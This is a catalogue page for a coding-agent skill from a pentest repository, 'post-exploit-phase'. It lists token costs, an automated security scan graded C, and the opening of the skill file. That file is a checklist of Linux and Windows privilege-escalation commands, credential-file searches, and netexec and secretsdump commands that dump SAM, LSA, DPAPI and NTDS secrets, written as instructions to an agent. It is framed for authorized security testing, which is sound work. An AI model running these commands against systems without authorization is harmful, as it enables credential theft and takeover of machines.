post-exploit-phase

A post-exploitation checklist for authorized security tests after access has already been obtained. Post-exploitation means checking what additional permissions, credentials, machines, and data are reachable from that access on Linux or Windows.

In plain words
What is it for?
Use it to inspect sudo and special file permissions, scheduled tasks, credentials, system and network details, Windows privileges and groups, stored credentials, and automated escalation tools.
Why use it?
It provides a consistent way to look for privilege escalation and other security risks instead of relying on memory during an assessment.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/s0ld13rr/pentestcode/post-exploit
Any agent
npx skills add s0ld13rr/pentestcode --skill post-exploit
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Per session 33 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,333 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00033 $0.01333
Opus 5 $0.00016 $0.00666
Sonnet 5 $0.00007 $0.00267
Haiku 4.5 $0.00003 $0.00133

Measured 2d ago against content hash 6fc458921fab, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

post-exploit-phase scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Enumerates the file system for secretsmediumData exfiltration

Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.

find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name ".env" 2>/dev/null | head -20

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo -l # sudo permissions

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat /home/*/.ssh/authorized_keys 2>/dev/null

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

skills/phases/post-exploit/SKILL.md · 130 lines

How it starts

The opening of the file, as written. The whole thing — 130 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Post-Exploitation Checklist

Linux Privilege Escalation

# Quick wins
sudo -l                                    # sudo permissions
find / -perm -4000 -type f 2>/dev/null     # SUID binaries
find / -perm -2000 -type f 2>/dev/null     # SGID binaries
cat /etc/crontab; ls -la /etc/cron.*       # cron jobs
ls -la /etc/passwd /etc/shadow             # readable shadow?
uname -a                                   # kernel version → kernel exploits
cat /proc/version

# Credentials in files
grep -rli 'password\|passwd\|secret\|key' /etc/ /opt/ /var/ /home/ 2>/dev/null | head -30
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name ".env" 2>/dev/null | head -20
cat /home/*/.bash_history 2>/dev/null

# Network info
ss -tlnp
cat /etc/hosts
arp -a

# Automated
# Upload and run linpeas.sh or linux-exploit-suggester

Windows Privilege Escalation

whoami /priv                               # token privileges
whoami /groups                             # group membership
systeminfo                                 # OS version, hotfixes
net user; net localgroup administrators
cmdkey /list                               # stored credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # autologon

# Service misconfigs
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
icacls "<service_path>"                    # writable service binary?

# Unquoted service paths
wmic service get name,displayname,pathname | findstr /i /v "C:\Windows" | findstr /i /v """

# Automated: winPEAS, PowerUp, Seatbelt

Credential Dumping

Windows — netexec/crackmapexec (preferred, run ALL three in order)

# 1. SAM — local account hashes (always works with local admin)
netexec smb HOST -u USER -p PASS --sam

# 2. LSA — service passwords, cached domain creds, machine account, DPAPI system keys
netexec smb HOST -u USER -p PASS --lsa

# 3. DPAPI — FULL user secrets dump: browser passwords, vault, cookies, Credential Manager
# CRITICAL: bare --dpapi = EVERYTHING. Do NOT add subcommands (cookies/nosystem/wifi)
# Adding subcommands LIMITS the output. Always start with bare --dpapi.
netexec smb HOST -u USER -p PASS --dpapi

# 4. Domain Controller only — ALL domain hashes from NTDS.dit
netexec smb DC -u USER -p PASS --ntds

# 5. Fallback — SAM+LSA+NTDS in one shot via impacket
secretsdump.py DOMAIN/USER:PASS@HOST

Read the full file on GitHub · 130 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 130 lines · 33 tokens per session scan C 6fc458921fab

Subscribe to this mod's changes

post-exploit-phase is a skill published in the GitHub repository s0ld13rr/pentestcode (566 stars, last pushed 11d ago), licensed MIT. It adds 33 tokens to every session and 1,333 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 3 findings (enumerates the file system for secrets, asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.